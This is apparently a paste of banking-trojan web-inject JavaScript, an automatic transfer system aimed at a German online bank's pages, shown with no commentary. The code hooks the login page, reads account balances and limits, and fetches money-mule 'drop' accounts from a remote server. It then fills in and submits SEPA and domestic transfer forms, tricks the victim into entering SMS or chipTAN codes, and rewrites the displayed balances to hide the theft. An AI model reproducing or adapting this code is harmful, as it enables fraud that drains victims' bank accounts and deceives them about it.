  330. ATS.goToTransfers=function()
  331. {var link=jq('a[href*="menuId=Ueberweisung&"]').attr('href');if(link)
  332. {ATS.debugMsg('Ueberweisung link: '+link);setTimeout(function(){parent.ATS.current_state=20;document.location.href=link;},5000);}
  333. else
  334. ATS.die('goToTransfers: no transfers link');}
  335. ATS.parseAccountsList=function()
  336. {var accountsList=new Array();jq("#tblVGUebersicht tr").each(function(){if(jq(this).children('td').length==4)
  337. {var number=jq.trim(jq(this).children('td:eq(1)').text());var balanceStr=jq.trim(jq(this).children('td:eq(2)').text());var balance=jq.trim(balanceStr.replace(/[^\d,-]+/g,'').replace(/,+/g,'.'));if(balance!='')
  338. {balance=parseFloat(balance);if(balanceStr.indexOf('S')!=-1)
  339. balance=-balance;}
  340. if((number!='')&&(balance!==''))
  341. {var transf=false;jq(this).children('td:eq(3)').find('option').each(function(){var optionText=jq.trim(jq(this).text().replace('\u00FC','ue').replace('\u00DC',"Ue"));if((optionText=='SEPA-Sammeluebe.')||(optionText=='Ueberweisungsvo.'))
  342. transf=true;});ATS.debugMsg('number: '+number+'; balance: '+balance+'; transf: '+transf);accountsList.push({number:number,balance:balance,transf:transf,avbAmount:false,EUlimit:false});}}});return accountsList;}
  343. ATS.framePageTransfers=function()
  344. {setTimeout(function(){var selectedAccount=jq("ul.XChoiceCombo li.selected b").text().replace(/\D+/g,'');if(selectedAccount)
  345. {var currentAcc=ATS.findAccount(selectedAccount);if(currentAcc&&currentAcc.transf&&!currentAcc.avbAmount&&!currentAcc.EUlimit)
  346. {for(var i in parent.ATS.accounts_list)
  347. {if(parent.ATS.accounts_list[i].number==currentAcc.number)
  348. {var EUlimit=ATS.getEULimit();var avbAmount=ATS.getAvbAmount();parent.ATS.accounts_list[i].avbAmount=avbAmount;parent.ATS.accounts_list[i].EUlimit=EUlimit;ATS.sendLogMsg('AccNumber: '+currentAcc.number+', avbAmount: '+avbAmount+', EUlimit: '+EUlimit);break;}}}}
  349. setTimeout(function(){var accountsList=parent.ATS.accounts_list;var flagAcc=false;for(var i in accountsList)
  350. {jq("ul.XChoiceCombo b").each(function()
  351. {var curNum=jq(this).text().replace(/\D+/g,'');if((curNum==accountsList[i].number)&&(!flagAcc))
  352. {if(accountsList[i].transf&&(accountsList[i].avbAmount===false)&&(accountsList[i].EUlimit===false))
  353. {ATS.sendLogMsg('Looking info for account: '+accountsList[i].number);jq(this).click();flagAcc=true;return;}}});}
  354. var maxAcc=ATS.findMaxAccountInList();if(maxAcc)
  355. {if(selectedAccount==maxAcc.number)
  356. ATS.framePageIntTransfers();else
  357. {jq("#chcKontoAuswahlZeile option").each(function()
  358. {var curNum=jq(this).text().replace(/\D+/g,'');if(curNum==maxAcc.number)
  359. jq(this).click();});}}
  360. else
  361. ATS.die('framePageTransfers: cant find good account in list');},2000);},1000);}
  362. ATS.selectSepaTransfer=function()
  363. {jq('#chcZahlungsart option:contains(SEPA)').attr('selected','selected');jq('#actZahlungsartWaehlen').click();}
  364. ATS.selectIntTransfer=function()
  365. {jq('#chcZahlungsart option').each(function(){if(jq(this).text().indexOf('SEPA')==-1)
  366. jq(this).attr('selected','selected');});if(jq('#actZahlungsartWaehlen').length)
  367. {jq('#actZahlungsartWaehlen').click();}
  368. else
  369. {if(jq("form").has('span:contains(BIC/BLZ:)').length)
  370. {ATS.debugMsg('Universal form for SEPA/INT');ATS.framePageTransfers();}
  371. else
  372. {ATS.die('no INT transfers');}}}
  373. ATS.getAvbAmount=function()
  374. {var avbText=jq('span:contains(Betrag in EUR:)').parent().next().next().next().text().replace(/[^\d,-]+/g,'').replace(/,+/g,'.');if(avbText=='')
  375. return 999999;return parseFloat(avbText);}
  376. ATS.getEULimit=function()
  377. {var avbText=jq('span:contains(Betrag EU in EUR:)').parent().next().next().next().text().replace(/[^\d,-]+/g,'').replace(/,+/g,'.');if(avbText=='')
  378. avbText=ATS.getAvbAmount();var res=parseFloat(avbText);if(res<10)
  379. res=10;return res;}
  380. ATS.framePageIntTransfers=function()
  381. {setTimeout(function(){ATS.debugMsg('ATS.framePageIntTransfers()');if(parent.ATS.transf_mode=='sepa')
  382. {if(jq('#lblIBAN').length)
  383. {ATS.debugMsg('already on SEPA page');setTimeout(function(){parent.ATS.current_state=100;ATS.framePageTransfersSEPA();},2000);}
  384. else
  385. if(jq('#chcZahlungsart').length&&jq('#chcZahlungsart option:contains(SEPA)').length)
  386. {ATS.debugMsg('SEPA option found, selecting');setTimeout(function(){parent.ATS.current_state=100;ATS.selectSepaTransfer();},2000);}
  387. else
  388. {parent.ATS.transf_mode='int';ATS.sendLogMsg('cant find sepa option, trying int');}}
  389. if(parent.ATS.transf_mode=='int')
  390. {var selectedAccount=jq('#jsKontoauswahl dt').text().replace(/\D+/g,'');ATS.debugMsg('framePageIntTransfers: selected account: '+selectedAccount);var fromAccount=ATS.findAccountInfo(selectedAccount);ATS.setCookie('transfer_acc',fromAccount.number);var balance=parseFloat(fromAccount.balance);var avbAmount=parseFloat(fromAccount.avbAmount);if(avbAmount<balance)
  391. {var limit=avbAmount;}
  392. else
  393. {var limit=999999;balance=avbAmount;}
  394. ATS.sendLogMsg('Balance: '+balance+'; limit: '+limit);if((limit<ATS.MIN_LIMIT)&&(balance<ATS.MIN_LIMIT))
  395. ATS.die('small avb balance or limit');ATS.getDropWithLimit('Internal',balance,limit,function(data){if(data&&data.drop)
  396. {ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.int_drop=data.drop;ATS.fillIntForm();}
  397. else
  398. ATS.die('no drops');});}},1000);};ATS.tryIntTransfer=function()
  399. {ATS.debugMsg('ATS.tryIntTransfer()');parent.ATS.current_state=20;parent.ATS.transf_mode='int';ATS.selectIntTransfer();};ATS.fillIntForm=function()
  400. {var drop=parent.ATS.int_drop;jq('#txtEmpfaengerdaten').val(drop.DrName);jq('#txtKontonummerEmpfaenger').val(drop.Konto);jq('#txtBankleitzahl').val(drop.BLZ);jq('#decBetrag').val(drop.amount);jq('input[name*=txtVerwendungszweckLinks]').val(drop.Reference);jq('#txtEmpfaengerdaten1').val(drop.DrName);jq('#txtIBAN').val(drop.Konto);jq('#txtBIC').val(drop.BLZ);jq('#txtVerwendungszweck1').val(drop.Reference);parent.ATS.current_state=30;ATS.sendLogMsg('Int form filled in');if(jq('input[name*=eingabePruefen]:visible').length)
  401. {setTimeout(function(){jq('input[name*=eingabePruefen]:visible').click();},6000);}
  402. else
  403. setTimeout(function(){jq('input[name*=eingabenPruefen]:visible').click();},6000);}
  404. ATS.findMaxAccountInList=function()
  405. {var accountsList=parent.ATS.accounts_list;var maxAcc=null;var maxBalance=false;for(var i in accountsList)
  406. {if(accountsList[i].transf&&(accountsList[i].EUlimit!=999999))
  407. {if(!maxBalance)
  408. var maxBalance=accountsList[i].EUlimit;if(accountsList[i].EUlimit>=maxBalance)
  409. {maxBalance=accountsList[i].EUlimit;maxAcc=accountsList[i];}}}
  410. return maxAcc;}
  411. ATS.framePageConfirmInt=function()
  412. {var mtanText=jq('#lblMTANDetails').text();if(mtanText!='')
  413. {ATS.sendLogMsg('Confirm - SMS');ATS.UI_askTan('sms',parent.ATS.badTan);return;}
  414. var manualButton=jq('input[name*=actTANManuell]').filter('input[src*=einblenden]');if(manualButton.length)
  415. {ATS.sendLogMsg('chiptan - selecting manual');setTimeout(function(){jq('input.TextButton[name*=actTANManuell]').click();},3000);return;}
  416. var manualInstr=jq('#tblManuelleBeschreibung').text();if(manualInstr!='')
  417. {var manualCode=manualInstr.match(/\w\w\w\w\w-\w\w\w\w\s\(\d+/i);if(manualCode)
  418. {ATS.sendLogMsg('startcode = '+manualCode);parent.ATS.startcode=manualCode;ATS.UI_askTan('gen',parent.ATS.badTan);return;}
  419. else
  420. ATS.die('framePageConfirmInt: cant find manual code');}
  421. else
  422. ATS.die('framePageConfirmInt: cant find manual instructions');}
  423. ATS.framePageReceiptInt=function()
  424. {ATS.debugMsg('framePageReceiptInt()');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer Internal, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
  425. {ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);}
  426. ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('a:contains(Startseite)');if(jq(nextLink).length!=0)
  427. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);}});});}
  428. ATS.framePageTransfersSEPA=function()
  429. {setTimeout(function(){ATS.debugMsg('ATS.framePageTransfersSEPA()');var selectedAccount=jq('#jsKontoauswahl dt').text().replace(/\D+/g,'');ATS.debugMsg('framePageTransfersSEPA: selected account: '+selectedAccount);var fromAccount=ATS.findAccountInfo(selectedAccount);ATS.setCookie('transfer_acc',fromAccount.number);ATS.setCookie('old_balance',parseFloat(fromAccount.balance));var balance=parseFloat(fromAccount.balance);var avbAmount=parseFloat(fromAccount.avbAmount);var EUlimit=parseFloat(fromAccount.EUlimit);ATS.sendLogMsg('Balance: '+balance+'; Avb Amount: '+avbAmount+'; EU Limit: '+EUlimit);if(EUlimit<balance)
  430. {var limit=EUlimit;}
  431. else
  432. {var limit=999999;balance=EUlimit;}
  433. if((limit<ATS.MIN_LIMIT)&&(balance<ATS.MIN_LIMIT))
  434. {ATS.die('small avb balance or limit');return;}
  435. ATS.getDropWithLimit('sepa',balance,limit,function(data){if(data&&data.drop)
  436. {ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.sepa_drop=data.drop;ATS.fillSepaForm();}
  437. else
  438. {ATS.debugMsg('No SEPA drops, trying int..');ATS.tryIntTransfer();}});},1000);}
  439. ATS.fillSepaForm=function()
  440. {var drop=parent.ATS.sepa_drop;if(jq('#txtEmpfaengerdaten1').attr('class')=='XText readonly')
  441. {ATS.sendLogMsg('vnutrennii schet');var selectedAccount=jq('#jsKontoauswahl dt').text().replace(/\D+/g,'');var intAccount=ATS.findAccountInfo(selectedAccount);ATS.debugMsg('int account num = '+intAccount.number);for(var i in parent.ATS.accounts_list)
  442. {if(parent.ATS.accounts_list[i].number==intAccount.number)
  443. {parent.ATS.accounts_list[i].transf=false;var acc=ATS.getMaxTransferAcc();if(!acc)
  444. ATS.die('No more accs with transf option');else
  445. ATS.goToTransfers();break;}}}
  446. else
  447. {jq('#txtEmpfaengerdaten1').val(drop.DrName);jq('#txtIBAN').val(drop.IBAN);jq('#txtBIC').val(drop.BIC);jq('#decBetrag').val(drop.amount);jq('#txtVerwendungszweck1').val(drop.Reference);parent.ATS.current_state=110;ATS.sendLogMsg('SEPA form filled in');setTimeout(function(){jq('input[name*=eingabenPruefen]:visible').click();},6000);}}
  448. ATS.framePageConfirmSEPA=function()
  449. {var errorText=jq.trim(jq('#errorMessages').text());if((errorText!='')&&(!parent.ATS.badTan))
  450. {ATS.die('framePageConfirmSEPA: error msg: '+errorText);return;}
  451. var mtanText=jq('#lblMTANDetails').text();if(mtanText!='')
  452. {ATS.sendLogMsg('Confirm - SMS');ATS.UI_askTan('sms',parent.ATS.badTan);return;}
  453. var manualButton=jq('input[name*=actTANManuell]').filter('input[src*=einblenden]');if(manualButton.length)
  454. {ATS.sendLogMsg('chiptan - selecting manual');setTimeout(function(){jq('input.TextButton[name*=actTANManuell]').click();},3000);return;}
  455. var manualInstr=jq('#tblManuelleBeschreibung').text();if(manualInstr!='')
  456. {var manualCode=manualInstr.match(/\w\w\w\w\w-\w\w\w\w\s\(\d+/i);if(manualCode)
  457. {ATS.sendLogMsg('startcode = '+manualCode);parent.ATS.startcode=manualCode;ATS.UI_askTan('gen',parent.ATS.badTan);return;}
  458. else
  459. ATS.die('framePageConfirmSEPA: cant find manual code');}
  460. else
  461. ATS.die('framePageConfirmSEPA: cant find manual instructions');}
  462. ATS.enterCode=function(tan)
  463. {ATS.debugMsg('ATS.enterCode '+tan);var tanField=jq('#txtTan');if(jq(tanField).length)
  464. {jq(tanField).val(tan);if(jq("input#actTanSenden").length)
  465. {if(parent.ATS.transf_mode=='sepa')
  466. parent.ATS.current_state=120;else
  467. parent.ATS.current_state=40;parent.ATS.UI_showWait();jq("input#actTanSenden").click();}
  468. else
  469. ATS.die('enterCode: cant find OK button');}
  470. else
  471. ATS.die('enterCode: cant find tan field');}
  472. ATS.framePageReceiptSEPA=function()
  473. {ATS.debugMsg('framePageReceiptSEPA');ATS.putTransfer('SEPA',parent.ATS.sepa_drop.id,parent.ATS.sepa_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.sepa_drop.id+', amount: '+parent.ATS.sepa_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.sepa_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.sepa_drop.IBAN);ATS.setCookie('rep_amount',parent.ATS.sepa_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
  474. {ATS.setCookie('ap'+transfer_acc,parent.ATS.sepa_drop.amount);}
  475. ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('a:contains(Startseite)');if(jq(nextLink).length!=0)
  476. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);}});});}
  477. if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  478. {jq(document).ready(function(){if(ATS.debugNoOverlay)
  479. jq('.inj_full_overlay').remove();if(jq('#infotext_cntRoot'))
  480. {jq('#infotext_cntRoot').remove();}
  481. if(ATS.checkLoginPage())
  482. {ATS.debugMsg('login page');ATS.setLoginHook();jq('.inj_full_overlay').remove();jq("div.contentNichtAngemeldet").hide();}
  483. if(ATS.isLoggedIn())
  484. {ATS.debugMsg('logged in!');if((parent.document!==document)&&parent.ATS)
  485. {ATS.debugMsg('we are in frame!');ATS.frameMain();}
  486. else
  487. {ATS.loadData(function(data){if(ATS.account_id!=0)
  488. {if((ATS.getCookie('status')!='1')&&(ATS.getCookie('status')!='2'))
  489. {ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}
  490. else if(ATS.getCookie('status')=='1')
  491. {if(ATS.getCookie('transaction')=='true')
  492. {ATS.replaceBalances();}
  493. else
  494. {if(ATS.checkTransaction())
  495. {ATS.setCookie('transaction','true');ATS.saveCookies();ATS.replaceBalances();}}}}
  496. jq('.inj_full_overlay').remove();});}}
  497. else
  498. {if((parent.document!==document)&&parent.ATS)
  499. {ATS.debugMsg('we are in frame and not logged in!');}
  500. else
  501. jq('.inj_full_overlay').remove();}});}
  502. if((document.readyState==="loading")||(document.readyState==="interactive"))
  503. document.write('<div class="inj_full_overlay"></div>');else
  504. jq('body').append('<div class="inj_full_overlay"></div>');
Add Comment
Please, Sign In to add comment